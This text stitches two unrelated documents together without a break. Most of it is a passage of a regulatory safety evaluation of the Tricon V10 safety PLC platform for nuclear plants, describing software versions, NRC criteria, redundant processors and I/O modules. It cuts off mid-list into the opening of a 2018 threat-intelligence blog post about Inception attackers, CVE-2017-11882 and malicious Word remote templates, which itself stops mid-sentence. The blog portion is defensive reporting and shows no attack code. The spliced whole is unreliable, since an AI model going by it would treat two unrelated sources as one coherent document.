Summary of Software Changes | Module | Tricon V9.5.3 System | Tricon V10.5.1 System | |--------|-----------------------|-----------------------| | TriStation Developer’s Workbench (Application Development Software) | v3.1 | v4.7.0 | | Main Processor Software: Application Processor | TSX 5211 | ETSX 6271 | | I/O Processor COM | IOC 5212 COM 5206 | IOCCOM 6054 | | Communication Module Software: TCM | Not Applicable | TCM 6276 | | Common V9.5.3 COM | ICM 4930 | Not Applicable | | EICM | IICX 5276 | Not Applicable | | NCM | NCMX 5028 | Not Applicable | | ACM | ACMX 5203 | Not Applicable | | I/O Module Software: AI 3721N | Not Applicable | AI 6256 | | DO 3625N | Not Applicable | DO 6255 | | AI 3701N/N2 | AI/NITC 4873 | AI/NITC 5661 | | IAI 3703EN | EIAI/ITC 5491 | EIAI/ITC 5916 | | ITC 3708EN | EIAI/ITC 5491 | EIAI/ITC 5916 | | PI 3510N | PI 4559 | Not Applicable | | PI 3511N | Not Applicable | PI 5647 | | AO 3805EN/HN | EAO 5595 | EAO 5897 | | DI 3501TN/TN2 | EDI 5490 | EDI 5909 | | DI 3502EN/EN2 | EDI 5490 | Not Applicable | | DI 3503EN/EN2 | DI 3505EN | EDI 5490 | | DI 3504EN | HDI 5499 | Not Applicable | | AI 3704EN | HDI 5499 | Not Applicable | | DO 3601TN | DO 3607EN | EDO 5488 | | DO 3604EN | EDO 5488 | Not Applicable | | RO 3636TN | ERO 5497 | ERO 5777 | | DO 3603TN | TSDO 5502 | TSDO/HVDO 6273 | | DO 3623TN | TSDO 5502 | TSDO2 5940 | | DO 3624N | TSDO 5502 | Not Applicable | | Remote Extender Modules | RXM 3310 | Same | ### 2.2 Regulatory Criteria The acceptance criteria used as the basis for this review are defined in NUREG-0800, “Standard Review Plan for the Review of Safety Analysis Reports for Nuclear Power Plants,” Revision 5, dated March 2007. NUREG-0800, which is referred to as the Standard Review Plan (SRP), sets forth a method for reviewing compliance with applicable sections of Title 10 Part 50 of the Code of Federal Regulations (10 CFR), “Domestic Licensing of Production and Utilization Facilities.” Specifically, SRP Chapter 7, “Instrumentation and Controls,” addresses the requirements for instrumentation and control (I&C) systems in nuclear power plants based on light-water reactor designs. The procedures for review of digital systems applied in this evaluation are principally contained within SRP Chapter 7 and are augmented and supplemented by Interim Staff Guidance (ISG). The suitability of a digital platform for use in safety systems depends on the quality of its components; quality of the design process; and system implementation aspects such as real-time performance, independence, and online testing. Because this equipment is intended for use in safety systems and other SR applications, the submitted LTR was evaluated in accordance with the provisions of IEEE Std 603-1991, “IEEE Standard Criteria for Safety Systems for Nuclear Power Generating Stations,” and IEEE Std 7-4.3.2-2003, “IEEE Standard Criteria for Digital Computers in Safety Systems of Nuclear Power Generating Stations,” based on the guidance contained in SRP Chapter 7, Appendix 7.1-C, “Guidance for Evaluation of Conformance to IEEE Std 603,” and Appendix 7.1-D, “Guidance for Evaluation of the Application of IEEE Std 7-4.3.2,” which provide acceptance criteria for these two standards. SRP Chapter 7, Table 7-1, “Regulatory Requirements, Acceptance Criteria, and Guidelines for Instrumentation and Control Systems Important to Safety,” identifies design criteria and regulations from 10 CFR Part 50 that are applicable to I&C systems and are relevant for general review of the suitability of a digital I&C (DI&C) platform for generic SR applications. Many of the review criteria of the SRP depend on the design of an assembled system for a particular application, whereas the LTR presents the elements of hardware and system software in the Tricon V10 platform that can be used in a variety of safety applications. Since no plant-specific application of the platform as a safety system is associated with the LTR, this SE is limited to the evaluation of compliance with the relevant regulations and guidance documents to the degree to which they can be satisfied at the platform level. In effect, fulfillment of system-level requirements can only be partially evaluated on a generic basis based on the capabilities and characteristics of the Tricon V10 platform. Determination of full compliance with the applicable regulations remains subject to plant specific licensing review of a full system design based on the Tricon V10 platform. Thus, it is an ASAI to establish full compliance with the design criteria and regulations identified in SRP Chapter 7, Table 7-1, which are relevant to specific applications of DI&C systems at the time the application is submitted to NRC for approval. This and other ASAIs identified in the evaluation documented in Section 3 are compiled in Section 4.2 of this report. The following regulations and design criteria in 10 CFR Part 50 are applicable in whole or in part for general review of the suitability of this I&C platform for generic SR applications at NPPs: - **10 CFR 50.55a(a)(1)**: Quality Standards for Systems Important to Safety, requires that “structures, systems, and components must be designed, fabricated, erected, constructed, tested, and inspected to quality standards commensurate with the importance of the safety function to be performed.” - **10 CFR 50.55a(h)**: Protection and safety systems, incorporates by reference the 1991 version of IEEE Std 603, including the correction sheet dated January 30, 1995. - **10 CFR Part 50, Appendix A**: General Design Criteria for Nuclear Power Plants - General Design Criterion (GDC) 1: Quality Standards and Records - GDC 2: Design Basis for Protection Against Natural Phenomena - GDC 4: Environmental and Dynamic Effects Design Basis - GDC 13: Instrumentation and Control - GDC 20: Protection System Functions - GDC 21: Protection System Reliability and Testability - GDC 22: Protective System Independence - GDC 23: Protective System Failure Modes - GDC 24: Separation of Protection and Control - GDC 25: Protection System Requirements for Reactivity Control Malfunctions - GDC 29: Anticipated Operational Occurrences SRP Chapter 7, Table 7-1, identifies regulatory guides (RGs), branch technical positions (BTPs), and industry standards that contain information, recommendations, and guidance and, in general, provide an acceptable basis to implement the above requirements for both hardware and software features of SR DI&C systems. Based on the scope of the Tricon V10 platform and the limitations of a platform-level review, the following guides and positions are determined to have relevance for consideration in this SE: - **RG 1.22**: Periodic Testing of Protection System Actuation Functions - **RG 1.47**: Bypassed and Inoperable Status Indication for Nuclear Power Plant Safety Systems - **RG 1.53**: Application of the Single-Failure Criterion to Nuclear Power Plant Protection Systems - **RG 1.62**: Manual Initiation of Protection Actions - **RG 1.75**: Physical Independence of Electrical Systems - **RG 1.89**: Qualification for Class 1E Equipment for Nuclear Power Plants - **RG 1.97**: Instrumentation for Light-Water-Cooled Nuclear Power Plants to Assess Plant and Environs Conditions During and Following an Accident - **RG 1.100**: Seismic Qualification of Electric and Mechanical Equipment for Nuclear Power Plants, which conditionally endorses IEEE Std 344-1987 - **RG 1.152**: Criteria for Digital Computers in Safety Systems of Nuclear Power Plants, which endorses IEEE Std 7-4.3.2-2003 - **RG 1.168**: Verification, Validation, Reviews and Audits for Digital Computer Software Used in Safety Systems of Nuclear Power Plants - **RG 1.169**: Configuration Management Plans for Digital Computer Software Used in Safety Systems of Nuclear Power Plants - **RG 1.170**: Software Test Documentation for Digital Computer Software Used in Safety Systems of Nuclear Power Plants - **RG 1.171**: Software Unit Testing for Digital Computer Software Used in Safety Systems of Nuclear Power Plants - **RG 1.172**: Software Requirements Specification for Digital Computer Software Used in Safety Systems of Nuclear Power Plants - **RG 1.173**: Developing Software Life Cycle Processes for Digital Computer Systems used in Safety Systems of Nuclear Power Plants - **RG 1.180**: Guidelines for Evaluating Electromagnetic and Radio-Frequency Interference in Safety-Related Instrumentation and Control Systems - **RG 1.209**: Guidelines for Environmental Qualification of Safety-Related Computer-Based Instrumentation and Control Systems in Nuclear Power Plants - **SRP BTP 7-14**: Guidance on Software Reviews for Digital Computer-Based Instrumentation and Control Systems - **SRP BTP 7-17**: Guidance on Self-Test and Surveillance Test Provisions - **SRP BTP 7-21**: Guidance on Digital Computer Real-Time Performance - **DI&C-ISG-04**: Interim Staff Guidance on Highly-Integrated Control Rooms – Communications Issues (HICRc), September 28, 2007. The Tricon V10 is an upgrade product based on previous designs. Some design elements of the Tricon V10 pre-date IOM’s 10 CFR Part 50 Appendix B process and therefore certain industry guidelines that address dedication and qualification processes are applicable. The NRC staff has reviewed and accepted the following industry guidance documents based on conditions established in SE reports: - **EPRI TR-102323**: Guidelines for Electromagnetic Interference Testing in Power Plants - **EPRI TR-106439**: Guideline on Evaluation and Acceptance of Commercial Grade Digital Equipment for Nuclear Safety Applications - **EPRI TR-107330**: Generic Requirements Specification for Qualifying a Commercially Available PLC for Safety-Related Applications in Nuclear Power Plants It should be noted that industry standards, documents, and reports use the word “requirements” to denote provisions that must be implemented to ensure compliance with the corresponding document. Additionally, these standards, documents, and reports provide guidance or recommendations that need not be adopted by the user to ensure compliance with the corresponding document, and the optional items are not designated as “requirements.” The word “requirement” is used throughout the instrumentation and control discipline. However, licensee or vendor documentation of conformance to the “requirements” provided in industry standards, documents, and reports referenced in this SE constitutes conformance with NRC regulatory requirements only insofar as the standards, documents and reports are endorsed by the NRC. Other use of the word “requirements” in these documents does not indicate that the “requirements” are NRC regulatory requirements. ### 2.3 Precedents Four topical reports for digital platforms have previously been approved by the NRC. These platforms are the HFC-6000, AREVA TELEPERM XS (TXS), the Westinghouse Common Q, and the Invensys Triconex, and they were generically qualified in accordance with the approved guidance of EPRI TR-107330. The corresponding SE reports for these platforms document the findings of the reviews by NRC staff and constitute applicable precedents that are considered in the conduct of this review. Specific precedents employed to support this review address environmental qualification, exceptions to key performance requirements specified by EPRI TR-107330, and Commercial Grade Dedication (CGD) of previously developed software (PDS). Each of the SEs for the generic platforms (i.e., TXS, Common Q, and Tricon V9) addresses deficiencies in the environmental qualification program for the respective platforms either through treatment as generic open items or identification of a commitment to retest on a plant-specific basis. The SE for the Tricon V9 platform provides a precedent for the treatment of exceptions to the response time performance requirement from EPRI TR-107330. The SE for the Common Q platform provides an evaluation of dedication activities by Combustion Engineering Nuclear Power (now owned by Westinghouse) for commercial grade items, including software, which is used in the platform. The commercial dedication of a Siemens-designed application-specific integrated circuit (ASIC) for use as the system support controller on platform printed circuit boards (PCBs) provides a precedent from the SE for the TXS platform regarding the treatment of custom chips that provide processor support functionality for board management. ## 3.0 Technical Evaluation This SE follows the guidance contained in SRP Chapter 7. Chapter 7 of the NRC SRP provides guidance on reviewing complete NPP designs of I&C systems. Revision 5 to SRP Chapter 7 also includes review criteria for digital systems. The guidance is applicable to the review of TRs for evaluating the suitability of generic digital platforms for SR use through consideration of general system requirements. Based on examination of SRP Chapter 7, Table 7-1, Appendix 7.0-A, “Review Process for Digital Instrumentation and Control Systems,” and Appendix 7.1-A, “Acceptance Criteria and Guidelines for Instrumentation and Control Systems Important to Safety,” the relevant regulatory requirements, BTPs, ISG, and acceptance criteria that can be addressed in part at the platform level are identified in Section 2.2 of this SE. The evaluation of the Tricon V10 platform against the identified acceptance criteria is documented in the following subsections. IOM designed and built the Tricon PLC system as a commercial grade system, rather than specifically for use in SR systems in NPPs. As a result, the design process was not governed by 10 CFR Part 50 Appendix B and the related process documentation may not be fully consistent with BTP HICB-14. EPRI TR-106439 and TR-107330 recognize that commercial design practices differ from nuclear specific design practices and discuss how the essential technical characteristics of products meet the requirements, intent, and quality characteristics needed for SR systems in NPPs. The evaluation described in this section is based on review of the information contained within the LTR. The Tricon V10 platform is described in Section 2.1 of the LTR. Sections 2.2 and 2.3 describe the product qualification. Section 5 of the LTR contains discussion of key safety system design topics, such as security, diversity, and communications. The material contained in these sections of the LTR was the principal focus of the SE and is the primary source of the descriptive information on the Tricon V10 platform presented in this section. Supplemental documentation docketed by IOM provides supporting and/or clarifying information that was considered in this evaluation. Specific reference to the source documentation is given where key information or supporting evidence from any of these additional documents proved to be essential to the conduct of the evaluation. ### 3.1 Tricon V10 Platform Description This section provides an overview of the Tricon V10 system. A detailed description of the system is provided in the following IOM documents; “Technical Product Guide, Tricon systems,” and the “Planning and Installation Guide.” The specific hardware and software that has been qualified is identified in the “Master Configuration List.” Table 3-1 in Section 3.3 of this document lists the Tricon V10 modules that have been qualified for nuclear SR applications. #### 3.1.1 Tricon V10 System Overview A typical Tricon V10 system (for example, one division of a reactor protection system) would consist of one or more 19-inch rack or panel mounted chassis. Each Tricon V10 system includes a main chassis and may also include additional expansion chassis. Each chassis is powered by two independent, redundant power supplies, each capable of providing the full power requirements of the chassis. Thus, the system can withstand a power supply failure without interruption. The Tricon V10 is triple redundant from input terminal to output terminal. The triple modular redundant (TMR) architecture is intended to allow continued system operation in the presence of any single point of failure within the system. The TMR architecture is also intended to allow the Tricon V10 to detect and correct individual faults online, without interruption of monitoring, control, and protection capabilities. In the presence of a fault, the Tricon V10 will alarm the condition, remove the affected portion of the faulted module from operation, and continue to function normally in a dual redundant mode. The system returns to the fully triple redundant mode of operation when the affected module is replaced. To facilitate module replacement, the Tricon V10 chassis includes provisions for a spare module, logically paired with a single input or output module. This design allows online, hot replacement of any module, under power while the system is running, with no impact on the operation of the application. #### 3.1.2 Tricon V10 System Hardware The main components of a Tricon V10 system are the chassis, the termination panels, the power supply modules, the main processor, I/O modules, and communication modules. Functional requirements for this hardware are specified in Section 4.3 of EPRI TR-107330. Compliance of the Tricon V10 hardware with these requirements is summarized in the Requirements Traceability Matrix (RTM), Appendix A of the LTR. A description of this hardware is provided below. ##### 3.1.2.1 8110N2 Main Chassis A Tricon V10 system consists of one main chassis and up to fourteen additional expansion chassis. The Tricon V10 main chassis supports the following modules: - Two redundant power supply modules - Three main processors - Communications modules - I/O modules The main chassis also has a key switch that sets the system operating mode: - **RUN**: Normal operation with read-only capability by externally connected systems, including TriStation. Normally, the switch is set to this position and the key is removed and stored in a secure location. - **PROGRAM**: Allows for control of the Tricon V10 system using an externally connected personal computer (PC) running the TriStation software, including application program downloads. - **STOP**: Stops application program execution. - **REMOTE**: Allows writes to application program variables by a TriStation PC or by MODBUS masters and external hosts. The Tricon V10 backplane is designed with dual independent power rails. Both power rails feed each of the three legs on each I/O module and each main processor module residing within the chassis. Power to each of the three legs is independently provided through dual voltage regulators on each module. Each power rail is fed from one of the two power supply modules residing in the chassis. Under normal circumstances, each of the three legs on each I/O module and each main processor module draw power from both power supplies through the dual power rails and the dual power regulators. If one of the power supplies or its supporting power line fails, the other power supply will increase its power output to support the requirements of all modules in the chassis. The Tricon V10 also has dual redundant batteries located on the main chassis backplane. If a total power failure occurs, these batteries maintain data and programs on the main processor modules for a period of six months. The system will generate an alarm when the battery power is too low to support the system. The 8110N main chassis approved for the Tricon V9 is functionally equivalent to the 8110N2 qualified with the Tricon V10. However, they are not interchangeable. ##### 3.1.2.2 8111N Expansion Chassis The expansion chassis is the same as approved for V9 and is used locally to increase the number of I/O modules in the Tricon V10 PLC system. The expansion chassis are interconnected via three separate RS-485 data links, one for each leg of the three I/O legs. If communication modules are installed, three separate RS-485 data links are required for the three communications busses. The Tricon expansion chassis can support the following modules: - Two redundant power supply modules - Communications modules (in the first expansion chassis only) - I/O modules ##### 3.1.2.3 8112N Remote Expansion Chassis The remote expansion chassis are similar to the expansion chassis, but are used for remote locations, rather than locally. Each remote expansion chassis has remote extender modules (RXMs) that serve as repeaters or extenders of the Tricon V10 I/O bus to allow communications with the main chassis and expansion chassis within a channel or a division. A single remote RXM chassis or module would not be configured to communicate with more than one channel/division. The Tricon V10 remote extender chassis uses the same type of power supplies as the main chassis, and has the same dual and redundant power bus arrangement. The 8112N remote expansion chassis was approved with the Tricon V9 and is unchanged as qualified with the Tricon V10. ##### 3.1.2.4 4200N Primary & 4201N Remote Extender Modules RXMs are multi-mode fiber optic modules that allow expansion chassis to be located up to 1.2 miles away from the main chassis. An RXM connection consists of three identical modules, serving as repeaters/extenders of the Tricon I/O bus that also provide ground loop isolation. Each RXM has single channel transmit and receive cabling ports. Each of the three 4200N Primary RXMs is connected to the 4201N remote RXMs housed in the remote chassis. Each pair of RXMs is connected with two fiber optic cables operating at a communication rate of 375 Kbaud. The interfacing cabling is unidirectional for each channel. One cable carries data transmitted from the primary RXM to the remote RXM. The second cable carries data received by the primary RXM from the remote RXM. The RXMs provide immunity against electrostatic and electromagnetic interference. The fiber optic cables provide Class 1E to Non-Class 1E isolation between a SR main chassis and a non-safety-related (NSR) expansion chassis. The Tricon V9 was qualified with the 4210N and 4211N primary and remote RXM set which used single mode fiber optic cable. The V10 was qualified with the 4200N Primary and 4201N remote RXM set which uses multimode fiber optic cable. Both use the same software and differ in the type of fiber optic cable that is supported. The V10 supported multimode fiber optic cable is capable of a 1.2 mile span while the V9 supported single mode version is capable of a 7.5 mile span. Though both RXM sets have been qualified, they are not interchangeable across the platforms because they were not qualified as interchangeable. ##### 3.1.2.5 External Termination Assemblies The external termination assemblies (ETAs) are printed circuit board panels used for landing field wiring. The panels contain terminal blocks, resistors, fuses, and blown fuse indicators. The standard panels are configured for specific applications (e.g., digital input, AI, etc.). The thermocouple input termination panel provides cold-junction temperature sensors and upscale, downscale, or programmable burnout detection. The resistance temperature device (RTD) termination panels include signal conditioning modules. Each termination panel includes an interface cable that connects the termination panel to the Tricon V10 chassis backplane. The following ETAs were qualified with the Tricon V10 platform: 9794-110N PI, 9782-110N AI, 9561-810N DI, 9561-110N DI, 9664-810N DO, 9663-610N DO, 9563-810N DI, 9662-810N DO, 9662-610N DO, 9668-110N RO, 9667-810N DO, 9562-810N DI, 9783-110N AI, 9795-610N AI, 9790-610N AI, 9764-310N AI, and 9860-610N AO. ##### 3.1.2.6 8310N2, 8311N2, and 8312N2 Power Supply Modules All power supply modules are rated for 175 watts, which is sufficient to supply the power requirements of all configurations expected in SR applications. Two different power supply modules can be used in a single chassis. Three models are available to support different power sources: 120 VAC/DC (alternating or direct current), 230 VAC, and 24 VDC. The power supply modules possess built in diagnostic circuitry to check for out-of-range voltages and/or over temperature conditions. Indicator light emitting diodes (LEDs) on the front face of each power module provide module status as follows: - **PASS**: Green - Input Power is OK - **FAULT**: Red - Power Module is not OK - **ALARM**: Red - Chassis Alarm Condition - **TEMP**: Yellow - Over-temperature Condition - **BATT LOW**: Yellow - Battery Low Condition The power supply modules also contain the system alarm contacts. The chassis backplane provides terminal strip interfaces for power and alarm connections. The alarm feature operates independently for each power module. On the main chassis, the alarm contacts on both power supply modules actuate on the following states: - System configuration does not match the control-program configuration - A digital output module experiences a Load / Fuse error - An AO module experiences a Load error - A configured module is missing somewhere in the system - A module is inserted in an unconfigured slot - A fault is detected on a Main Processor or I/O module in the main chassis - A fault is detected on an I/O module in an expansion chassis - A main processor detects a system fault - The inter-chassis I/O bus cables are incorrectly installed (i.e., cross connected) The alarm contacts on at least one of the chassis power supplies will actuate when the following power conditions exist: - A power module fails - Primary power to a power module is lost - A power module has a low battery or over temperature condition The alarm contacts on both power modules of an expansion chassis actuate when a fault is detected on an I/O module. ##### 3.1.2.7 3008N Main Processor Modules The Tricon V10 main processor subsystem utilizes three 3008N MP modules to control the three separate legs of the system. Each 3008N MP module operates independently with no shared clocks, power regulators, or circuitry. Each 3008N MP module controls one of the three signal processing legs in the system and each contains two 32-bit processors. One of the 32-bit processors is a dedicated, leg-specific I/O and communication (IOCCOM) microprocessor that processes all communication with the system I/O modules and communication modules. The second 32-bit primary processor manages execution of the safety control program and all system diagnostics at the main processor module level. Between the two 32-bit primary processors is a dedicated dual port random access memory (RAM) allowing for direct memory access data exchanges. The operating system (ETSX 6271), run-time library, and fault analysis for the main processor is fully contained in flash memory on each 3008N MP module. The Tricon V10 PLC system has four separate bus structures, the Tribus, the communications bus, the I/O bus, and the bus internal to each of the main processor modules. Each of these bus structures is triplicated. The main processors communicate with one another through a proprietary, high speed, voting, bi-directional serial channel called TriBUS. Each main processor has an I/O channel for communicating with one of the three legs of each I/O module. All external data coming into the main processor comes through the dual port RAM and does not require handshaking or use of interrupts. Each main processor has an independent clock circuit and selection mechanism that enables all three main processors to coordinate their operations each scan to allow voting of data and exchange of diagnostic information. The IOCCOM processors constantly poll respective legs for all the I/O modules in the system. They continually update an input data table in dual port RAM on the main processor module with data downloaded from the leg-specific input data tables from each input module. Communication of data between the main processor modules and the I/O modules is accomplished over the triplicated I/O data bus using a master-slave communication protocol. The system uses cyclic redundancy checks (CRC) to ensure the correctness of data transmitted between modules. Should a main processor module lose communication with its respective leg on any of the input modules in the system, or the CRC reveals that the data has been corrupted, the system will retry the data transmission up to three times. If unsuccessful, input tables at the main processor module level are constructed with data in the de-energized state. Errors such as an open circuited data bus, short circuited data bus, or data corrupted while in transit will force the input table entries to the de-energized state. At the beginning of each scan, each primary processor takes a snapshot of the input data table in dual port RAM, and transmits the snapshots to the other main processor modules over the TriBUS. This transfer is synchronized using the TriClock. Each module independently forms a voted input table based on respective input data points across the three snapshot data tables. If a main processor module receives corrupted data or loses communication with one of the other 3008N MP modules, the local table representing that respective leg data will default to the de-energized state. If a disagreement occurs, the value found in two out of three tables prevails and the third is corrected accordingly. One-time differences that result from sample timing variations are distinguished from a pattern of differing data. Each main processor maintains data about the necessary corrections in local memory. Any disparity is flagged and used at the end of the scan by the built-in fault analyzer routines of the Tricon V10 PLC system to determine whether a fault exists in a particular module. This feature is essential to maintaining deterministic behavior in the triple modular redundant architecture. For digital inputs, the voted input table is formed by a two out of three majority vote on respective inputs across the three data tables. The voting scheme is designed for de-energize to trip applications, always defaulting to the de-energized state unless voted otherwise. Any single leg failure or corrupted signal feeding a main processor module is corrected or compensated for at the main processor module level when the voted data table is formed. For AIs, a mid-value selection algorithm chooses an AI signal representation in the voted input table. The algorithm selects the median of the three signal values representing a particular input point for representation in the voted input tables. Any single leg failure or corrupted signal feeding a main processor module is compensated for at the main processor module level when the voted data table is formed. Errors are alarmed. The primary processors then execute the application safety program in parallel on the voted input table data and produce an output table of values in dual port RAM. The voting schemes explained above for analog and digital input data ensure the process control programs are executed on the same input data value representations. The IOCCOM processors generate smaller output tables, each corresponding to an individual output module in the system. Each small table is transmitted to the appropriate leg of the corresponding output module over the I/O data bus. The transmission of data between the main processor modules and the output modules is performed over the I/O data bus using a master-slave communication protocol. The system uses CRC to ensure the data transmitted between modules is not corrupted. If the CRC reveals that the data has been corrupted, the system will retry the data transmission up to three times. If unsuccessful, that respective leg data table at the output module level will default to the de-energized state. Watchdog timers on each output module leg ensure communication has been maintained with its respective main processor module. If communication has not been established or has been lost, the respective leg data table will default to the de-energized state to protect against open or short-circuited data bus connections between modules. The main processor diagnostics monitor the proper operation of each main processor as well as each I/O module and communication channel. The main processor modules process diagnostic data recorded locally and data received from the input module level diagnostics in order to make decisions about the health of the input modules in the system. All discrepancies are flagged and used by the built-in fault analyzer routine to diagnose faults. The main processor diagnostics perform the following: - Verification of fixed-program memory. - Verification of the static portion of RAM. - Verification of the dual port RAM interface with each IOCCOM. - Checking of each IOCCOM’s ROM, dual port RAM access and loopback of RS-485 transceivers. - Verification of the TriTime interface. - Verification of the TriBUS interface. When a fault is detected on a 3008N MP module, it is annunciated and voted out, and processing continues through the remaining two 3008N MP modules. When the faulty main processor module is replaced, it runs a self-diagnostic to verify its proper operation. When the self-diagnostic is successfully completed, the main processor module then begins the process of “re-education,” where the control program is transferred from each of the working units into the returning main processor module. All three 3008N MP modules then resynchronize data and voting, and the replacement processor module is allowed back in service. ##### 3.1.2.8 Input/Output Modules All TMR input modules contain three separate, independent processing systems, referred to as legs, for signal processing (Input Legs A, B, and C). The legs receive signals from common field input termination points. The microprocessor in each leg continually polls the input points, and constantly updates a private input data table in each leg’s local memory. Signal conditioning, isolation, or processing required for each leg is also performed independently. The input modules possess sufficient leg-to-leg isolation and independence so that a component failure in one leg will not affect the signal processing in the other two legs. Input data is sampled continuously, in some modules compared and/or voted, and sent to the 3008N MP modules. Each main processor module communicates via an individual I/O bus with one of the triplicated microprocessors on each I/O module. In each main processor module, the IOCCOM microprocessor reads the data and provides it to the application processor through a dual port RAM interface. For AIs, the three values of each point are compared, and the middle value is selected. The control algorithm is invoked only on known good data. All input modules include self-diagnostic features designed to detect single failures within the module. Fault detection capabilities built into various types of input modules include the following: - The input data from the three legs is compared at the main processor module, and persistent differences generate a diagnostic alarm. - Digital input modules test for a stuck on condition by momentarily driving the input for one leg low in order to verify proper operation of the signal conditioning circuitry. A diagnostic alarm is generated if the input module does not respond appropriately. - Analog input modules include high accuracy reference voltage sources which are used to continuously self-calibrate the analog-to-digital converters. If a converter is found to be out of tolerance, a diagnostic alarm is generated. - Several input modules also include diagnostics to detect field device failures. A detailed description of each type of input module, including fault detection and data validation processes, is provided in Section 5 of “System Safety Concept.” After the application processor in each 3008N MP module completes the control algorithm, data is sent out to the output modules. Outputs from the 3008N MP modules are provided to the IOCCOM microprocessors through dual port RAM. The IOCCOM microprocessors then transfer that data to the triplicated microprocessors on the output modules. The output modules then set the output hardware appropriately on each of the triplicated sections and vote on the appropriate state and/or verify correct operation. Discrete outputs use a unique, patented, power output voter circuit. This voter circuitry is based on parallel-series paths that pass power if the driver for legs A and B, or legs B and C, or legs A and C command them to close (i.e., 2-out-of-3 vote). AOs use a switching arrangement tying the three legs of digital to analog converters to a single point. All output modules include self-diagnostic features designed to detect single failures within the module. The major fault detection capabilities built into output modules include the following: - Digital output modules include output voter diagnostics that toggle the state of one leg at a time to verify that the output switches are not stuck on or off. - Supervised digital output modules include a voltage and current loopback circuit that checks for open circuits (i.e., blown fuse) and short circuits in the field wiring. - AO modules include a voltage and current loopback circuit. On these modules, one of the three legs drives the field load, and the other two legs monitor the loopback current to verify the module output current is correct. A detailed description of the output modules, the voting processes, and fault detection processes is provided in the Planning and Installation Guide. If one of the three legs within an I/O module fails to function, an alarm is raised by the 3008N MP modules on the main chassis power modules. If a standby module is installed in the paired slot with the faulty module, and that module is deemed healthy by the 3008N MP modules, the system automatically switches over to the standby unit and takes the faulty module offline. If no standby unit is in place, the faulty module continues to operate on two of the three legs and protection and control is unaffected. The user obtains a replacement unit and plugs it into the system into the logically paired slot associated with the failed module. When the 3008N MP modules detect the presence of a replacement module, they initiate local health state diagnostics and, if the module is healthy, automatically switch over to the new module. The faulty module may then be removed and returned to the factory for repair. If a standby module is installed and both it and its pair are deemed healthy by the 3008N MP modules, each of the modules is exercised on a periodic basis. The 3008N MP modules will swap control between the two modules. By periodically using both modules, any faults are detected, alarmed, and the failed module replaced while a standby module is in place. This use of standby modules does not cause any interruption of protection or control functions. The Tricon V9 safety evaluation stated that all Tricon I/O modules have a common core. However, two of the new modules for V10, 3721N Analog Input and 3625N Digital Output have a new common core called “Next Generation” (NG). The NG common core is based on the common core staff reviewed and approved with V9. The NG common core based modules may be used interchangeably with older design common core cards such that NG cards can be configured in any chassis configuration and co-located with V9 based cards without special exception or modification as qualified. The NG common core has equivalent levels of fault detection as were approved for V9 I/O modules. Card level scan times for the NG core input modules are 10 milliseconds (msec) as opposed to the 50 msec times typical for cards approved on the V9 platform. Security is similar to V9 cores. Firmware for NG cores cannot be downloaded from the main processor and no access points are available when the card is installed in the chassis. The NG cards must be removed from the chassis, which the system will alarm, in order to change the firmware. The NG modules installed in the wrong slot or with firmware loads that do not match that programmed in the application processor will be ignored, which is the same as was previously approved. ##### 3.1.2.8.1 Analog Input Modules The following types of AI modules are available for SR use in NPPs: - **Model 3721N (AI 6256)**: TriStation configurable 0-5 VDC or -5-+5 VDC analog input module with 32 differential DC-coupled inputs. The model has a +6 percent over-range. The 3721N uses the NG common core. - **Model 3701N2 (AI/NITC 5661)**: 0-10 VDC analog input module with 32 differential DC-coupled inputs. It is equivalent to the 3701N approved with the Tricon V9 platform, but has been implemented with surface mount components. The 3701N2 hardware and software were re-qualified for the Tricon V10 platform. - **Model 3511N (PI 5647)**: An 8 channel, non-commoned pulse input module with 16 bit resolution and +/- 0.01 percent accuracy from 1-20 kilohertz (kHz). It is based on the 3510N approved with the Tricon V9 platform with the same specifications except update rate has been improved from 50 msec to 25 msec, worst case. This pulse input module is optimized for measuring speed of rotating machinery. It does not have totalization capability. - **Model 3703EN (EIAI/ITC 5916)**: A 0-5 or 0-10 VDC isolated AI module with 16 differential isolated inputs. This module has a selectable voltage range and upscale or downscale open-input detection and a +6 percent over-range measurement capability. Model 3703EN was approved for use with the Tricon V9 platform and was qualified with the Tricon V10 platform. - **Model 3708EN (EIAI/ITC 5916)**: An isolated thermocouple input module with 16 differential isolated inputs. This module can support thermocouple types J, K, T, and E, and can be programmed to provide upscale or downscale burnout detection. In addition to the Pass/Fault/Active indicator lights, this module has an indicator light that shows a failure of a cold-junction transducer. Model 3708 EN was approved for use with the Tricon V9 platform and was qualified with the Tricon V10 platform. ##### 3.1.2.8.2 Analog Output Modules The following types of AO modules are available for SR use in NPPs: - **Model 3805HN (EAO 5897)**: The only AO module available for use in nuclear power plants with the Tricon V10 platform and is a 4-20 milliampere (mA) AO module. This model has eight DC-coupled outputs, all with a common return. This module provides for redundant loop power sources with individual indicators. If this option is used, the licensee must provide external loop power supplies for AOs. The 3805HN is based on the 3805EN approved with the Tricon V9 platform, but has a minor enhancement to improve inductive load capability. ##### 3.1.2.8.3 Digital Input Modules The following types of digital input modules are available for SR use in NPPs: - **Model 3501TN2 (EDI 5909)**: A 115 VAC/DC digital input module with 32 isolated input points. This model has standard diagnostics, but does not have the ability to verify the transition of a normally energized circuit to the off state. In addition to the Pass/Fault/Active indicator lights, this module has indicator lights showing if each of the 32 input points is on or off. The 3501TN2 is a surface mount version of the 3501TN.
# Inception Attackers Target Europe with Year-old Office Vulnerability **By Tom Lancaster** **November 5, 2018** **Category: Unit 42** **Tags: CVE-2012-1856, CVE-2017-11882, EMEA, Espionage, Government, Inception, Powershell, PowerShower, RemoteTemplates** The Inception attackers have been active since at least 2014 and have been documented previously by both Blue Coat and Symantec. Historical attacks used custom malware for a variety of platforms, targeting a range of industries, primarily in Russia, but also around the world. This blog describes attacks against European targets observed in October 2018, using CVE-2017-11882 and a new PowerShell backdoor we’re calling POWERSHOWER due to the attention to detail in terms of cleaning up after itself, along with the malware being written in PowerShell. Unit 42 has previously observed attacks from the group in 2017 against government targets in Europe, Russia, and Central Asia and expects these to remain the primary regions this threat is seen. In the last writeup by Symantec, they describe a two-stage spear phishing process used by the Inception attackers, whereby the attackers first send a reconnaissance spear phish, and follow this up with a second spear phish containing a remote template, which if loaded delivers a first stage payload. In their most recent attacks, it appears that only one document is used, but in a way that allows them to not reveal their final payload immediately; however, the use of templates remains the same. ## Remote Templates are Great Remote templates are a feature of Microsoft Word that allow a document to load a template to be used in a document. This template can be externally hosted, either on a file share or on the internet. The template is then loaded when the document is opened. The Inception attackers use this feature in a malicious context. Using a remote template in this way has been a consistent feature of the Inception attackers’ attacks for the past four years and has three main benefits to the attacker: 1. The initial document does not contain any explicitly malicious object; it simply references an external object, 